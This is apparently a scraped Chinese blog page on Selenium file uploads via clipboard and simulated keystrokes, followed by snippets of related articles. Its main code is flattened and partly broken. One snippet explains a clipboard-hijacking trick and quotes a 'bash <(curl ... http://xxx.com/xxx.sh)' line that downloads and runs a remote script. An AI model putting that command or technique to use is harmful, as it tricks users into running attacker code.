import win32con from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.common.by import By from selenium.webdriver.support import expected_conditions as EC from selenium.common.exceptions import TimeoutException, NoSuchElementException # 用于设置剪切板内容 def setText(aString): w.OpenClipboard() w.EmptyClipboard() w.SetClipboardData(win32con.CF_UNICODETEXT, aString) w.CloseClipboard() # 键盘按键映射字典 VK_CODE = { 'enter':0x0D, 'ctrl':0x11, 'v':0x56} # 键盘键按下 def keyDown(keyName): win32api.keybd_event(VK_CODE[keyName], 0, 0, 0) # 键盘键抬起 def keyUp(keyName): win32api.keybd_event(VK_CODE[keyName], 0, win32con.KEYEVENTF_KEYUP, 0) class TestDemo(unittest.TestCase): def setUp(self): # 启动ie浏览器 self.driver = webdriver.Ie(executable_path = "g:\\IEDriverServer") def test_uploadFileByKeyboard(self): url = "http://127.0.0.1/test_upload_file.html" # 访问自定义网页 self.driver.get(url) # 创建一个显示等待对象 wait = WebDriverWait(self.driver, 10, 0.2) # 显示等待判断被测试页面上的上传文件按钮是否处于可被点击状态 wait.until(EC.element_to_be_clickable((By.ID, 'file'))) except TimeoutException as e: # 捕获TimeoutException异常 print (traceback.print_exc()) except NoSuchElementException as e: # 捕获NoSuchElementException异常 print (traceback.print_exc()) except Exception as e: # 捕获其他异常 print (traceback.print_exc()) else: # 将即将要上传的文件名及路径设置到剪切板中 setText("g:\\test.txt") # 查找页面上ID属性值为“file”的文件上传框, # 并点击调出选择文件上传框 self.driver.find_element_by_id("file").click() time.sleep(2) # 模拟键盘按下ctrl + v组合键 keyDown("ctrl") keyDown("v") # 模拟键盘释放Ctrl + v组合键 keyUp("v") keyUp("ctrl") time.sleep(1) # 模拟键盘按下回车键 keyDown("enter") # 模拟键盘释放回车键 keyUp("enter") # 暂停查看上传的文件 time.sleep(2) # 找到页面上ID属性值为“filesubmit”的文件提交按钮对象 fileSubmitButton = self.driver.find_element_by_id("filesubmit") # 单击提交按钮,完成文件上传操作 fileSubmitButton.click() # 因为文件上传需要时间,所以这里可以添加显示等待场景, # 判断文件上传成功后,页面是否跳转到文件上传成功的页面。 # 通过EC.title_is()方法判断跳转后的页面的Title # 值是否符合期望,如果匹配将继续执行后续代码 #wait.until(EC.title_is(u"文件上传成功")) def tearDown(self): # 退出IE浏览器 self.driver.quit() if __name__ == '__main__': unittest.main() #使用键盘操作,复制剪贴板中的文件路径,回车提交,实现上传文件from selenium import webdriverimport unittestimport timeimport tracebackimport win32clipboard as wimport win32apiimport win32confrom selenium.webdriver.support.u... from selenium import webdriver browser=webdriver.Chrome()#完成浏览器对象的初始化 browser.get('http://www.imomoe.in/')#使用get进入一个页面 print(browser.page_source)#page_source属性打印网页源 public void setClipboardData(String data) { StringSelection stringSelection = new StringSelection(data); Toolkit.getDefaultToolkit().getSystemClipboard().setContents(stringSelection, null);
from selenium import webdriver from selenium .webdriver.common.keys import Keys from time import sleep driver=webdriver.Chrome() driver.get("http://www.baidu.com/") driver.find_element_by_css_selector("#kw").send_keys("Python") sleep(4) # 键盘 全选 操作 driver.fi
import unittest from selenium import webdriver from selenium .webdriver.common.keys import Keys import time import selectors class MyTestCase(unittest.TestCase): def setUp(self): self.driver=webdriver....
selenium 里面具有很强大的 键盘 操作 库,今天实践了一下最简单全选 复制 粘贴 操作 。 首先我们导入webdriver服务 from selenium import webdriver 导入提供鼠标 操作 的ActionChains类 from selenium .webdriver.common.action_chains import ActionChains 设置浏览器,我这里是火狐浏览器 dri...
import java.awt.*; import java.awt.datatransfer.StringSelection; import java.awt.event.KeyEvent; import java.io.*; import java.util.concurrent.TimeUnit; import org.junit.*; import org.openqa. selenium ...
键盘 操作 --将百度搜索的关键字 复制 到必应 进行搜索 --导入模块from selenium .webdriver.common.keys import Keys -- 复制 from selenium import webdriver from selenium .webdriver.common.keys import Keys from time import sleep...
以最简单的例子来说明,我们需要在bing搜索引擎 ,输入并查询“ Selenium 自动化 测试”几个字。可以很快就写出如下代码: String queryString = " Selenium 自动化 测试"; WebElement element = driver.findElement(By .xpath("//input[@id='sb_form_q']")); // 直接输入查询字符串 ...
待实现需求:将目标值先写入粘贴板、然后模拟 键盘 的Ctrl+V获取已写入粘贴板的内容。 所需的 文件 :ClipboardUtil.py、TestSendMain.py ClipboardUtil.py 文件 的内容: 1 # -*- coding: utf-8 -*- 2 #用于实现将数据设置到 剪贴板 4 import win32clipboard as w 5 imp...
实际执行: bash <(curl -s -S -L http://xxx.com/xxx.sh),而且还TM的自动 回车 执行了。。。 0x01 实现原理: 在网页里使用js代码,改变 复制 的内容 <html&amp
Python UI 自动化 可以使用第三方库如 Selenium 、PyAutoGUI等,通过对UI元素的定位和 操作 实现 自动化 操作 。对于CSV 文件 的数据,可以使用Python内置的csv模块进行读取和处理。 以下是一个简单的示例代码,演示了如何使用Python的csv模块读取CSV 文件 的数据,并将其用于UI 自动化 : ```python import csv from selenium import webdriver # 打开CSV 文件 with open('data.csv') as f: reader = csv.reader(f) # 跳过表头 next(reader) # 遍历每一行数据 for row in reader: # 获取数据 username = row[0] password = row[1] # 打开浏览器 driver = webdriver.Chrome() # 访问登录页面 driver.get('http://example.com/login') # 在输入框 输入用户名和密码 driver.find_element_by_name('username').send_keys(username) driver.find_element_by_name('password').send_keys(password) # 点击登录按钮 driver.find_element_by_name('login').click() # 关闭浏览器 driver.quit() 在这个示例代码 ,假设CSV 文件 包含用户名和密码的数据,其 第一列是用户名,第 列是密码。我们使用Python的csv模块读取CSV 文件 ,并遍历每一行数据。对于每一行数据,我们从 获取用户名和密码,并使用 Selenium 打开浏览器,访问登录页面,输入用户名和密码,然后点击登录按钮。最后,我们关闭浏览器,处理下一行数据。
出现selenium.common.exceptions.NoSuchElementException: Message: Unable to find element with xpath的解决方案 22341 出现selenium.common.exceptions.NoSuchElementException: Message: Unable to find element with xpath的解决方案 出现UnboundLocalError: local variable 'a' referenced before assignment异常的情况与解决方法 StefniaXU: 还有一种情况是做运算时候,变量之前没有赋值。 比如下面的求和运算,sum_vector没有定义初始值0,就会报同样的错误。 [code=python] def dot_product(vectorA,vectorB): for i in range(len(vectorA)): sum_vector += vectorA[i]*vectorB[i] return sum_vector [/code] Python操作文件,报FileNotFoundError: [Errno 2] No such file or directory错误 m0_58714219: 博主牛逼 弄一晚上 结果原来是这个原因 我吐了 出现IndentationError: unexpected indent或者TabError: inconsistent use of tabs and spaces异常的情况及解决方法 HTTP协议之Cookie和Session Python文件操作之读取文件中的tuple、list、dict